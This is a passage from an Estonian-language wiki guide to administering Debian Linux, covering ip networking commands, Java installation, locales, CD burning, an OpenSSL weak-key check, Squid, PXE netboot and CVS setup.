* http://en.wikipedia.org/wiki/Bridging_(networking)&lt;br /&gt;
* http://tldp.org/HOWTO/BRIDGE-STP-HOWTO/index.html&lt;br /&gt;
* http://en.wikipedia.org/wiki/Spanning_tree_protocol&lt;br /&gt;
* http://en.wikipedia.org/wiki/LAN_switching&lt;br /&gt;
* http://backreference.org/2010/07/28/linux-bridge-mac-addresses-and-dynamic-ports/&lt;br /&gt;
&lt;br /&gt;
===Võrgu seadistamine programmiga ip===&lt;br /&gt;
&lt;br /&gt;
Programm ip võimaldab Linuxi kaasaegsetes 2.4 ja 2.6 tuumades sisalduva võrguliideste toega oluliselt  paindlikumalt ümber käia&lt;br /&gt;
kui ifconfig. Näited käsudest, mida on ohutu anda töötavas masinas.&lt;br /&gt;
&lt;br /&gt;
====Seadmed====&lt;br /&gt;
&lt;br /&gt;
 # ip link show&lt;br /&gt;
 1: lo:  mtu 16436 qdisc noqueue &lt;br /&gt;
     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
 2: eth0:  mtu 1500 qdisc pfifo_fast qlen 1000&lt;br /&gt;
     link/ether 00:07:e9:0b:d3:26 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
&lt;br /&gt;
====Seadme aadressid====&lt;br /&gt;
&lt;br /&gt;
Aadresside esitamine&lt;br /&gt;
&lt;br /&gt;
 # ip address show eth1&lt;br /&gt;
   3: eth1:  mtu 1500 qdisc pfifo_fast qlen 1000&lt;br /&gt;
      link/ether 00:07:e9:0b:d3:d3 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
      inet 10.0.6.5/24 brd 10.0.6.255 scope global eth1&lt;br /&gt;
      inet 10.0.6.6/24 brd 10.0.6.255 scope global secondary eth1:1 &lt;br /&gt;
&lt;br /&gt;
====Ruuting====&lt;br /&gt;
&lt;br /&gt;
Ruutingute esitamine&lt;br /&gt;
&lt;br /&gt;
 # ip route show&lt;br /&gt;
  10.0.5.0/24 dev eth3  proto kernel  scope link  src 10.0.5.1 &lt;br /&gt;
  10.0.6.0/24 dev eth0  proto kernel  scope link  src 10.0.6.1 &lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ruutingu lisamine&lt;br /&gt;
&lt;br /&gt;
 # ip route add 192.168.10/24 dev eth0&lt;br /&gt;
&lt;br /&gt;
Ruutingu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 # ip route del default via 10.0.14.1 dev eth0&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Näited kästudest, mida on ehk ohutu anda töötava masina kasutuses mitte olema võrguseadme suhtes&lt;br /&gt;
&lt;br /&gt;
 # ip addr add 100.100.100.4/16 dev eth4&lt;br /&gt;
 # ip addr del 100.100.100.4/16 dev eth4&lt;br /&gt;
&lt;br /&gt;
nn ifconfig'i aliased &lt;br /&gt;
&lt;br /&gt;
Osade teadlaste arvates on see tänapäeval täiesti igand rääkida ethx:x aliastest. Et lihtsalt saab seadmele omistada mitu aadressi ja kogu lugu. Kui aga on juhtunud selline õnnetu lugu, et seadmel on nt eth0:1 aadress, siis saab seda eemaldada lihtsalt sedasi&lt;br /&gt;
&lt;br /&gt;
 # ip addr del 195.80.96.214 dev eth0&lt;br /&gt;
&lt;br /&gt;
===Java kasutamine===&lt;br /&gt;
&lt;br /&gt;
Java ehk JVM (Java Virtual Machine) tarkvara kasutamiseks on Debianis mitmeid võimalusi. Kui on kavatsus jääda paketihaldusest paigaldatud tarkvara kasutamise juurde, siis tõenäoliselt  on otstarbekas lasta paketihaldusel töötada ja kasutada Debiani Java pakette. Kui aga kasutatakse mingit eraldiseisvat tarkvara, nt Tomcat, GlassFish vms Java rakendusserverit, siis on ehk otstarbekas kasutada http://java.sun.com/ veebikohast kopeeritud Javat.&lt;br /&gt;
&lt;br /&gt;
====Java kasutamine paketihaldusest====&lt;br /&gt;
&lt;br /&gt;
Debiani Lenny paketihalduses on olemas sellised Java kompilaatorit sisaldavad Java implementatsioonid&lt;br /&gt;
&lt;br /&gt;
  $ aptitude search &amp;quot;?provides(java-compiler)&amp;quot;&lt;br /&gt;
  p   gcj             - The GNU Java compiler                                                   &lt;br /&gt;
  p   gcj-4.2         - The GNU compiler for Java(TM)                                           &lt;br /&gt;
  p   gcj-4.3         - The GNU compiler for Java(TM)                                           &lt;br /&gt;
  p   jikes-classpath - clean room standard Java libraries - wrapper for jikes                  &lt;br /&gt;
  p   jikes-kaffe     - Wrapper for jikes using Kaffe classes                                   &lt;br /&gt;
  p   kaffe-jthreads  - A green threads enabled version of the Kaffe VM                         &lt;br /&gt;
  p   kaffe-pthreads  - A POSIX threads enabled version of the Kaffe VM                         &lt;br /&gt;
  p   sun-java5-jdk   - Sun Java(TM) Development Kit (JDK) 5.0                                  &lt;br /&gt;
  p   sun-java6-jdk   - Sun Java(TM) Development Kit (JDK) 6&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldatakse nagu ikka Debiani pakett ning kasutatakse nagu ikka Javat.&lt;br /&gt;
&lt;br /&gt;
====Sun Java kasutamine====&lt;br /&gt;
&lt;br /&gt;
Sun on Java autor ja üks oluline edasiarendaja, kuid on ka teisi Java implementatsioone. Sun Java saab kasutaja kopeerida aadressilt http://java.sun.com/ kus saab tutvuda ka Java kasutustingimustega.&lt;br /&gt;
&lt;br /&gt;
Sun jagab Javat üsna erinevates pakendustes, kusjuures erinevus on kolmel nö teljel&lt;br /&gt;
&lt;br /&gt;
* millisele funktsionaalsusele on orieteeritud - SE (Standard Edition), EE (Enterprise Edition), ME (Micro Edition)&lt;br /&gt;
* kas tegu on arendusvahendi või nö kasutusvahendiga - nt SDK (Software development kit) vs JRE (Java Runtime Environment), viimane sisaldub esimeses&lt;br /&gt;
* versiooninumber&lt;br /&gt;
&lt;br /&gt;
Erinevad versioonid 2009 suve seisuga&lt;br /&gt;
&lt;br /&gt;
* 1.3 - vana versioon, mida kasutavad ehk vaid mõned nö riistvaras javat sisaldavad seadmed&lt;br /&gt;
* 1.4 - mõned nö legacy rakendustega Tomcat rakendusserverid võiksid seda veel kasutada&lt;br /&gt;
* 5 (vahel nimetatakse 1.5) - täiesti veel kasutuses, mõnda rakendust soovitatakse kasutada sellel versioonil&lt;br /&gt;
* 6 (vahel nimetatakse 1.6) - viimane stabiilne versioon&lt;br /&gt;
&lt;br /&gt;
Tundub, et juhtumil kui ei ole teada millist Javat kasutada, siis on sobiv valida SE SDK versioon 1.6, mille saab kopeerida http://java.sun.com/ veebikohast liikudes&lt;br /&gt;
&lt;br /&gt;
  Downloads -&amp;gt; Java SE -&amp;gt; Java SE Development Kit (JDK 6 Update 16) -&amp;gt; Download&lt;br /&gt;
&lt;br /&gt;
ning täpsustada platvorm, nt&lt;br /&gt;
&lt;br /&gt;
* Linux64 - 64 bit Linux&lt;br /&gt;
* Linux - 32 bit Linux&lt;br /&gt;
&lt;br /&gt;
Seejärel valida nimekirjast .bin&lt;br /&gt;
&lt;br /&gt;
  File Description              Name                            Size&lt;br /&gt;
  Java SE Development Kit 6u16  jdk-6u16-linux-x64-rpm.bin 	74.04 MB&lt;br /&gt;
  Java SE Development Kit 6u16  jdk-6u16-linux-x64.bin          78.08 MB&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb otsustada, millises kataloogis JVM asuma hakkab, olgu see nt /usr/local/java6, selleks tuleb minna juurkasutajana kataloogi /usr/local&lt;br /&gt;
&lt;br /&gt;
  # cd /usr/local&lt;br /&gt;
  # sh jdk-6u16-linux-x64.bin&lt;br /&gt;
  vastata küsimustele jaatavalt&lt;br /&gt;
  # ln -s /usr/local/tekkinud-katalooginimi /usr/local/java6&lt;br /&gt;
&lt;br /&gt;
Java kasutamiseks tuleb seada ja kui peetakse vajalikuks, lisada teele&lt;br /&gt;
&lt;br /&gt;
  $ export JAVA_HOME=/usr/local/java6&lt;br /&gt;
  $ export PATH=/usr/local/java6/bin:$PATH&lt;br /&gt;
&lt;br /&gt;
Seejärel saab nt küsida Java versiooni öeldes&lt;br /&gt;
&lt;br /&gt;
  $ /usr/local/java6/bin/java -version&lt;br /&gt;
  java version &amp;quot;1.6.0_16&amp;quot;&lt;br /&gt;
  Java(TM) SE Runtime Environment (build 1.6.0_16-b01)&lt;br /&gt;
  Java HotSpot(TM) 64-Bit Server VM (build 11.3-b02, mixed mode)&lt;br /&gt;
&lt;br /&gt;
====Iceweaseli Java lisa====&lt;br /&gt;
&lt;br /&gt;
Iceweaseli ehk Firefox 3.x versiooniga java kasutamiseks on i386 keskkonnas olemas plugin&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sun-java5-plugin&lt;br /&gt;
&lt;br /&gt;
või &lt;br /&gt;
&lt;br /&gt;
  # apt-get install sun-java6-plugin&lt;br /&gt;
&lt;br /&gt;
===Lokaat===&lt;br /&gt;
&lt;br /&gt;
Lokaatide kasutamiseks tuleb paigalda pakett locales &lt;br /&gt;
&lt;br /&gt;
  # apt-get install locales&lt;br /&gt;
&lt;br /&gt;
ning edasiseks seadistamiseks saab öelda, asjakohased seadistusfailid on iseenesest /etc/environment ning /etc/default/locale&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure locales&lt;br /&gt;
&lt;br /&gt;
Süsteemi vaikelokaat võiks olla ehk C serverite puhul, aga see on kasutaja otsustada kuidas ta paremaks peab.&lt;br /&gt;
&lt;br /&gt;
Lokaatide nimekirja esitamiseks tuleb öelda, nt selline võiks olla üsna tüüpiline tulemus&lt;br /&gt;
&lt;br /&gt;
  # locale -a&lt;br /&gt;
  C&lt;br /&gt;
  POSIX&lt;br /&gt;
  et_EE.utf8&lt;br /&gt;
&lt;br /&gt;
Kui seadistada lisaks nt ru_RU.utf8 ja fr_FR.utf8, siis saab lugeda vene ja prantsuse keelseid manuaale. Nt öeldes nö tavalises xtermis&lt;br /&gt;
&lt;br /&gt;
 $ export LANG=fr_FR.utf8&lt;br /&gt;
 $ uxterm&lt;br /&gt;
&lt;br /&gt;
mis paistab selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Os-debian-kasutamine-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Lisaks töötab nt w3m ja lynx uxterm aknas vene keeles.&lt;br /&gt;
&lt;br /&gt;
===CD plaadi kirjutamine===&lt;br /&gt;
&lt;br /&gt;
Niisama plaadile  kirjutamiseks tuleb esmalt moodustada failidest tõmmis öeldes näiteks&lt;br /&gt;
&lt;br /&gt;
  # genisoimage -o ../tommis.iso .&lt;br /&gt;
&lt;br /&gt;
ning seejärel kopeerida tõmmis plaadile öeldes&lt;br /&gt;
&lt;br /&gt;
  # cdrecord -v speed=10 dev=/dev/cdrom tommis.iso&lt;br /&gt;
&lt;br /&gt;
Kui tegu on RW plaadiga, siis ennem järgmist kirjutamist tuleb plaat puhastada käsuga&lt;br /&gt;
&lt;br /&gt;
  # cdrecord -v dev=/dev/cdrom blank=fast&lt;br /&gt;
&lt;br /&gt;
Squeeze puhul&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wodim&lt;br /&gt;
 # wodim -v speed=8 dev=/dev/sr0 tommis.iso&lt;br /&gt;
&lt;br /&gt;
korduvkirjutatava plaadi kustutamiseks&lt;br /&gt;
&lt;br /&gt;
 # wodim -v dev=/dev/cdrom blank=fast&lt;br /&gt;
&lt;br /&gt;
===Klaviatuuriasetus konsoolil===&lt;br /&gt;
&lt;br /&gt;
Klaviatuuriasetuse muutmiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # dpkg-reconfigure console-data&lt;br /&gt;
&lt;br /&gt;
ning valida sobiv asetus. NB! Ka mac'i asetus on olemas.&lt;br /&gt;
&lt;br /&gt;
===OpenSSL probleem===&lt;br /&gt;
&lt;br /&gt;
2008 aasta kevadel ilmnes, et Debiani arendajad olid OpenSSL tarkvara pakendamisel tekitanud avalike võtmete genereerimist puudutavas osas vea, mille tõttu osa varasemalt Debian Etch abil tekitatud võtmeid ja sertifikaate on ärakasutatavad. Kas konkreetne sertifikaat on haavatav saab kontrollida programmiga openssl-vulnkey. Esmalt tuleb paigaldada Backportsidest pakett openssl-blacklist ning öelda&lt;br /&gt;
&lt;br /&gt;
  # cat sertifikaat.pem | openssl-vulnkey -&lt;br /&gt;
  COMPROMISED: b3409bf40c63d0d8fc3e1625e9cac2076e20d1e7 -&lt;br /&gt;
&lt;br /&gt;
===Helikaardi kastumine===&lt;br /&gt;
&lt;br /&gt;
Kui helikaart on arvutisse füüsiliselt paigaldatud, siis vajadusel saab SoX tarkvara utiliitide abil kontrollida, kas heli salvestamine mikrofoni abil ja heli taasesitamine töötavad.&lt;br /&gt;
&lt;br /&gt;
Sox tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install sox&lt;br /&gt;
&lt;br /&gt;
Salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # rec -t .wav /tmp/failinimi.wav&lt;br /&gt;
&lt;br /&gt;
Taasesitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # play /tmp/failinimi.wav&lt;br /&gt;
&lt;br /&gt;
Lisaks on asjakohane kasutada mikserit, nt aumix või alsamixer, just mikrofoni sisselülitamiseks, käivitades xtermi aknas võiks paista selline pilt, vajadusel käivitamisel näidata seadme number, nt&lt;br /&gt;
&lt;br /&gt;
 # alsamixer -c 1&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Alsamixer-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* F6 abil saab valida helikaarti, sh virtuaalset (PulseAudio)&lt;br /&gt;
&lt;br /&gt;
===Digifotokaamera kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tänapäeval on levinud nn digitaalsed fotokaamerad, mida saab ühendada arvutiga USB liidese abil selleks, et kopeerida arvutisse fotoaparaadi flash diskile salvestatud pildid. Üks populaarne tarkvara, mis võimaldab suhelda fotokaameraga on gphoto2 http://gphoto.sourceforge.net/.&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gphoto2&lt;br /&gt;
&lt;br /&gt;
Graafiline nö pealisehitus gphoto2 tarkvarale on gtkam, mille paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gtkam&lt;br /&gt;
&lt;br /&gt;
Piltide kopeerimiseks tuleb kaamera ühendada arvutiga ning lülitada piltide kopeerimise režiimile, operatsioonisüsteem peaks seejärel USB seadme ära tundma&lt;br /&gt;
&lt;br /&gt;
  # lsusb&lt;br /&gt;
  ...&lt;br /&gt;
  Bus 001 Device 006: ID 04a9:309a Canon, Inc. PowerShot A80&lt;br /&gt;
  Bus 001 Device 001: ID 0000:0000&lt;br /&gt;
&lt;br /&gt;
Peale gtkam programmi käivitamist peaks gtkam suutma avastada kaamera ning esitama sarnase kasutajaliidese&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Gtkam-1.gif]]&lt;br /&gt;
&lt;br /&gt;
gphoto2 programmi abil saab kaamerat otsekohesemalt juhtida, aga eeldusel, et gtkam või mõni muu programm seda ei kasuta. Nt saab küsida kaamera kohta kokkuvõtet öeldes&lt;br /&gt;
&lt;br /&gt;
  # gphoto2 --summary&lt;br /&gt;
  Camera summary:                                                                &lt;br /&gt;
  Model: Canon PowerShot A80&lt;br /&gt;
    device version: 01.0001&lt;br /&gt;
    serial number:  (null)&lt;br /&gt;
  Vendor extension ID: 0x0000000b&lt;br /&gt;
  Vendor extension description: (null)&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
või kopeerida kõik failid kaamerast failisüsteemi käesolevasse kataloogi&lt;br /&gt;
&lt;br /&gt;
  # gphoto2 --get-all-files&lt;br /&gt;
  Downloading 'IMG_3601.JPG' from folder '/store_00010001/DCIM/236CANON'...&lt;br /&gt;
  Saving file as IMG_3601.JPG&lt;br /&gt;
  Downloading 'IMG_3602.JPG' from folder '/store_00010001/DCIM/236CANON'...&lt;br /&gt;
  Saving file as IMG_3602.JPG      &lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Android telefonist vms seadmest kopeerimisel on praktiline näidata kataloog, nt Google Nexus 5 nutitelefon puhul&lt;br /&gt;
&lt;br /&gt;
 $ gphoto2 --get-all-files -f /store_00010001/DCIM/Camera&lt;br /&gt;
&lt;br /&gt;
Sony Xperia tahvelarvutiga&lt;br /&gt;
&lt;br /&gt;
 $ gphoto2 --get-all-files -f /store_00010001/DCIM/100ANDRO&lt;br /&gt;
&lt;br /&gt;
Kui seadme ühendamise ta nö mountitakse, siis võib olla vajalik ta File Manager programmis vms kohal lahti lasta.&lt;br /&gt;
&lt;br /&gt;
===SSH kasutamine===&lt;br /&gt;
&lt;br /&gt;
Kui Debian on juhtumisi paigaldatud Networkless siis puudub vaikimisi openssh-server, selle paigaldamiseks tuleb öelda käsk&lt;br /&gt;
&lt;br /&gt;
 # apt-get install openssh-server&lt;br /&gt;
&lt;br /&gt;
Mille järel starditakse server ka automaatselt, kasutaja mureks on vaid sisse logida.&lt;br /&gt;
&lt;br /&gt;
Kui Debian Lenny ssh kliendiga sisselogimine teistesse süsteemidesse on muutunud rahulikuks (nt vana RedHat 4 ES või Solaris 10 ssh serverid oma default väärtustega) ning -v võtmega käivitatud klient ütleb muu seas&lt;br /&gt;
&lt;br /&gt;
  debug1: Authentications that can continue: gssapi-keyex,\&lt;br /&gt;
    gssapi-with-mic,publickey,password,keyboard-interactive&lt;br /&gt;
  debug1: Next authentication method: gssapi-keyex&lt;br /&gt;
  debug1: No valid Key exchange context&lt;br /&gt;
  debug1: Next authentication method: gssapi-with-mic&lt;br /&gt;
  debug1: Unspecified GSS failure.  Minor code may provide more information&lt;br /&gt;
  No credentials cache found&lt;br /&gt;
  &lt;br /&gt;
  debug1: Unspecified GSS failure.  Minor code may provide more information&lt;br /&gt;
  No credentials cache found&lt;br /&gt;
&lt;br /&gt;
siis aitab kliendi seadistusfailis, nt /etc/ssh/ssh_config kasutada selliselt seadistatud parameetrit&lt;br /&gt;
&lt;br /&gt;
  GSSAPIAuthentication no&lt;br /&gt;
&lt;br /&gt;
===Veebikaamera kasutamine===&lt;br /&gt;
&lt;br /&gt;
Veebikaamera on väike videokaamera, mis tavaliselt ühendatakse arvutiga USB abil ning teda sobib kasutada nt Skype programmi juures enda visuaalseks reaalajas esitlemiseks. &lt;br /&gt;
&lt;br /&gt;
Veebikaamera kasutamise ettevalmistamisel peab peale kaamera arvutiga ühendamist ilmuma USB seadmete nimekirja uus seade, midagi sellist&lt;br /&gt;
&lt;br /&gt;
  # lsusb&lt;br /&gt;
  ..&lt;br /&gt;
  Bus 001 Device 003: ID 046d:092e Logitech, Inc. QuickCam Chat&lt;br /&gt;
&lt;br /&gt;
Selle spca5xx chipsetiga Logitechi QuickCam Chat veebikaamera kasutamiseks tuleb paigaldada Lennile vastav draiver valides sobiva, st oma tuuma platvormile sobiva tuumamooduli, nt&lt;br /&gt;
&lt;br /&gt;
  # apt-get install gspca-modules-2.6-686&lt;br /&gt;
&lt;br /&gt;
Lisaks peab see kasutaja, kelle alt Skype programm töötab kuuluma video gruppi, vajadusel tuleb redigeeerida /etc/group faili&lt;br /&gt;
&lt;br /&gt;
  # grep video /etc/group&lt;br /&gt;
  video:x:44:kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Kui kasutaja määrati gruppi kuuluma, siis tuleb korraks süsteemist logida välja ja tagasi sisse, et gruppikuuluvus kehtestuks. Valides seejärel Skype programmi Options peaks olema kaamera kasutamise võimalus olemas&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Veebikaamera-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Veebikaamerat oskavad kasutada lisaks mitmed muud programmid, nt Cheese (gnome komponent), Gqcam.&lt;br /&gt;
&lt;br /&gt;
===Mälukaartide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nn mälukäärte esineb külluses, need mis ühendatakse arvutile külge USB liidese kaudu, kas otse või nö lugeja abil paistavad operatsioonisüsteemile tavaliselt SCSI seadmena. Seega, kasutamiseks tavaliselt piisab teha kindlaks dmesg väljundi lõpust millise nimega /dev/sdx seade on juurde tekkinud ning monteerida seejärel ta külge, nt&lt;br /&gt;
&lt;br /&gt;
  # mount /dev/sdc1 /mnt/malukaart&lt;br /&gt;
&lt;br /&gt;
===Squid v. 3 kasutamine===&lt;br /&gt;
&lt;br /&gt;
Lenny paketihaldusest saab paigaldada Squid v. 3 tarkvara öeldes&lt;br /&gt;
&lt;br /&gt;
  # apt-get install squid3&lt;br /&gt;
&lt;br /&gt;
====Kasutamine kiirendina====&lt;br /&gt;
&lt;br /&gt;
Squid3 kiirendina kasutamiseks sobib kasutada sellist seadistusfaili&lt;br /&gt;
&lt;br /&gt;
  cache_dir ufs /var/spool/squid3 768 16 256&lt;br /&gt;
  http_port 10.0.6.249:80 defaultsite=www.siseministeerium.ee vhost&lt;br /&gt;
  icp_port 0&lt;br /&gt;
  &lt;br /&gt;
  cache_peer 10.0.6.95 parent 80 0 no-query originserver name=www100695 login=PASS&lt;br /&gt;
  acl sites_www_100695 dstdomain src &amp;quot;/etc/squid3/sites_www100695.txt&amp;quot;&lt;br /&gt;
  cache_peer_access www100695 allow sites_www_100695&lt;br /&gt;
  &lt;br /&gt;
  cache_peer 10.0.6.96 parent 80 0 no-query originserver name=www100696 login=PASS&lt;br /&gt;
  acl sites_www_100696 dstdomain src &amp;quot;/etc/squid3/sites_www100696.txt&amp;quot;&lt;br /&gt;
  cache_peer_access www100696 allow sites_www_100696&lt;br /&gt;
  &lt;br /&gt;
  acl all src 0.0.0.0/0.0.0.0&lt;br /&gt;
  acl localhost src 127.0.0.1/255.255.255.255 10.0.0.0/255.255.255.0&lt;br /&gt;
  acl Safe_ports port 80          # http&lt;br /&gt;
  &lt;br /&gt;
  http_access deny !Safe_ports&lt;br /&gt;
  http_access allow all&lt;br /&gt;
  &lt;br /&gt;
  access_log /var/log/squid3/access.log squid&lt;br /&gt;
  emulate_httpd_log       on&lt;br /&gt;
&lt;br /&gt;
===locate andmebaas===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi moodustab Debian updatedb programmi käivitamisel cron'ist nn locate andmebaasi, milles sisaduvad süsteemis leiduvate failid nimed. Seda andmebaasi saab kasutada nt selliselt&lt;br /&gt;
&lt;br /&gt;
  # locate .bash_history&lt;br /&gt;
  /root/.bash_history&lt;br /&gt;
  /srv/backup/500g-vint/home/mart/.bash_history&lt;br /&gt;
&lt;br /&gt;
locate andmebaas võib osutuda mitmel juhul ebasoovitavaks&lt;br /&gt;
&lt;br /&gt;
* andmebaasi salvestatakse andmed, mis seal ei peaks sisalduma; nt kui veebiserveri kasutajana saab käivitada programme, siis annab see baas ilmselt soovimatut lisainfot kasutajale ühe või teise faili olemasolust ja asukohast failisüsteemis&lt;br /&gt;
* locale andmebaasi moodustatakse väga suure mahuga andmetest iga päev uuesti ning see raiskab ilmselt ressurssi&lt;br /&gt;
&lt;br /&gt;
updatedb programm käivitatakse skripti&lt;br /&gt;
&lt;br /&gt;
  /etc/cron.daily/mlocate&lt;br /&gt;
&lt;br /&gt;
abil ning updatedb tööd saab kontrollida seadistusfaili abil, eriti, milliseid katalooge andmebaasi koostamisel kasutatakse&lt;br /&gt;
&lt;br /&gt;
  /etc/updatedb.conf&lt;br /&gt;
&lt;br /&gt;
===Operatsioonisüsteemi paigaldamine võrgust===&lt;br /&gt;
&lt;br /&gt;
Operatsioonisüsteemi võrgust paigaldamine eeldab arusaadavalt paigaldamise ajal võrguühenduse olemasolu, soovitavalt nö hea ühenduse olemasolu. Debian Lenny operatsioonisüsteemi saab paigaldada võrgust kolmel viisil&lt;br /&gt;
&lt;br /&gt;
* business card CD tõmmis (ca 40 MB) - sisaldab tuuma ja installerit&lt;br /&gt;
* minimaalse sisu CD tõmmis (ca 180 MB) - sisaldab tuuma, installerit ning minimaalset hulka pakette&lt;br /&gt;
* TFTP serverilt paigaldamine - tuuma ja ramdisk booditakse TFTP serverilt&lt;br /&gt;
&lt;br /&gt;
Vaatamata sellele kui palju kasutati kohalikku abi, st lokaalset meediat või TFTP serverit toimub süsteemi mahukama osa moodustava tarkvara kopeerimine paigaldamise ajal võrgust.&lt;br /&gt;
&lt;br /&gt;
Võrgust paigaldamine võiks eriti sobida üle IBM IMM ja HP iLO liideste tarvkara paigaldamisel.&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine TFTP serverilt====&lt;br /&gt;
&lt;br /&gt;
Üks võimalus Debiani paigaldada on täiesti ilma lokaalse meediate st võrgust, kuid eeldusel, et arvuti omab PXE võimelist võrgukaarti.&lt;br /&gt;
&lt;br /&gt;
Selleks tuleb kopeerida aadressilt tftp serveris kasutamiseks ettevalmistatud kataloogi sisu&lt;br /&gt;
&lt;br /&gt;
  # wget -np -r http://ftp.nl.debian.org/debian/dists/lenny/main/installer-i386/current/images/netboot/debian-installer/i386/&lt;br /&gt;
&lt;br /&gt;
ning paigutada lokaalvõrgus asuvasse tftp serverisse, nt kataloogi /tftpbood&lt;br /&gt;
&lt;br /&gt;
  # find /tftpboot&lt;br /&gt;
  /tftpboot &lt;br /&gt;
  /tftpboot/debian-installer&lt;br /&gt;
  /tftpboot/debian-installer/i386&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/exithelp.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/adtxt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/index.html&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f1.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f10.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f2.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f3.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f4.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f5.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f6.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f7.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f8.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/f9.txt&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/syslinux.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/menu.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/prompt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/splash.png&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/stdmenu.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/vesamenu.c32&lt;br /&gt;
  /tftpboot/debian-installer/i386/boot-screens/txt.cfg&lt;br /&gt;
  /tftpboot/debian-installer/i386/index.html&lt;br /&gt;
  /tftpboot/debian-installer/i386/initrd.gz&lt;br /&gt;
  /tftpboot/debian-installer/i386/linux&lt;br /&gt;
  /tftpboot/pxelinux.0&lt;br /&gt;
  /tftpboot/pxelinux.cfg&lt;br /&gt;
  /tftpboot/pxelinux.cfg/index.html&lt;br /&gt;
  /tftpboot/pxelinux.cfg/default&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb valmistada ette sobivalt dchp server, nt sellise host kirjeldusega, next-server 192.168.1.254 on tftpd server&lt;br /&gt;
&lt;br /&gt;
  host fuji.auul {&lt;br /&gt;
    hardware ethernet 00:17:42:02:0b:8a;&lt;br /&gt;
    fixed-address 192.168.1.142;&lt;br /&gt;
    option broadcast-address 192.168.1.255;&lt;br /&gt;
    option routers 192.168.1.254;&lt;br /&gt;
    filename &amp;quot;pxelinux.0&amp;quot;;&lt;br /&gt;
    next-server 192.168.1.254;&lt;br /&gt;
    option domain-name-servers 192.168.1.254;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Tulemusena peab installeeritav arvuti saama dhcp serverilt omale võrguseaded, alglaadima tftp serverilt operatsioonisüsteemi ning käivitama installeri. Edasine paigaldamine toimub tavapärasel viisil, kusjuures installer küsib Debiani peegel-serveri asukohta, millelt kopeeritakse tarkvara.&lt;br /&gt;
&lt;br /&gt;
===CVS tarkvara kasutamine===&lt;br /&gt;
&lt;br /&gt;
CVS tarkvara saab kasutada mitmel moel, antud juhul on tegemist selliste asjaoludega&lt;br /&gt;
&lt;br /&gt;
* CVS töötab nn pserver rezhiimis, mis tähendab, et teenus kuulab 2401 pordil ja liiklus on krüptimata&lt;br /&gt;
* CVS liiklust tuleb täiendavate CVS väliste vahenditega turvata, nt OpenVPN või Stunnel&lt;br /&gt;
* CVS tarkvara tegeleb ise oma kasutajatega, st operatsioonisüsteemi kasutajatest eraldi&lt;br /&gt;
* saab kasutada mitmeid hoidlaid (ingl. k. repository)&lt;br /&gt;
* failisüsteemi kasutamine hoidla operatsioonisüsteemi seisukohalt toimub iga hoidla puhul hoidlale vastava kasutajaga (mitte hoidlat kasutava cvs kasutajana)&lt;br /&gt;
&lt;br /&gt;
Antud juhul kasutatakse mitmeid Debiani haldajate poolt nn vanilla CVS tarkvarale juurde lisatud täiendusi, mille kasutamist on kirjeldatud failis /usr/share/doc/cvs/README.Debian.gz.&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install cvs&lt;br /&gt;
&lt;br /&gt;
ning valida kas kasutatakse pserverit või mitte, antud juhul kasutatakse ja seejuures tuleb järgnevalt määrata, millistes kataloogides asuvad repositooriumid, nt&lt;br /&gt;
